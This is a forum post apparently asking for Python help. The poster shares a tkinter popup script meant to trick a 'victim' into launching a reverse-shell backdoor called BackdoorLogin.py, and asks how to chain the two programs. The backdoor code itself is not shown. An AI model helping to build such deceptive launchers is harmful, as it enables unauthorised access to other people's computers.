Apr-20-2018, 07:51 AM
(This post was last modified: Apr-20-2018, 07:51 AM by RedSkeleton007.)
Fellas, I found a youtube tutorial that had exactly what I was looking for:
One other thing. The reason I'm doing this is to make the reverse shell program more realistic. Doing so will allow the victim computer user to simply click a couple of buttons rather than go into a terminal and enter ./BackdoorLogin.py.
#!/usr/bin/python #YesNoPopup.py from tkinter import * import tkinter.messagebox def ask_question(): answer = tkinter.messagebox.askquestion("Program from unknown source.", "Do you want to allow this " + "program to access your computer?") if answer == 'yes': tkinter.messagebox.showinfo('Program activated.', 'You have been hacked!') #code to activate BackdoorLogin.py root.destroy() else: tkinter.messagebox.showinfo('You denied the program access.', 'Wise choice!') root.destroy() root = Tk() btn = Button(root, text="Alert!", command=ask_question) btn.pack(side=TOP) root.mainloop()The next move is calling my BackdoorLogin.py program (a reverse shell program for hacking into a victim computer), as commented on line 14. I have used functions from other modules before, but never attempted to invoke a another full program from within another program. Is that possible?
One other thing. The reason I'm doing this is to make the reverse shell program more realistic. Doing so will allow the victim computer user to simply click a couple of buttons rather than go into a terminal and enter ./BackdoorLogin.py.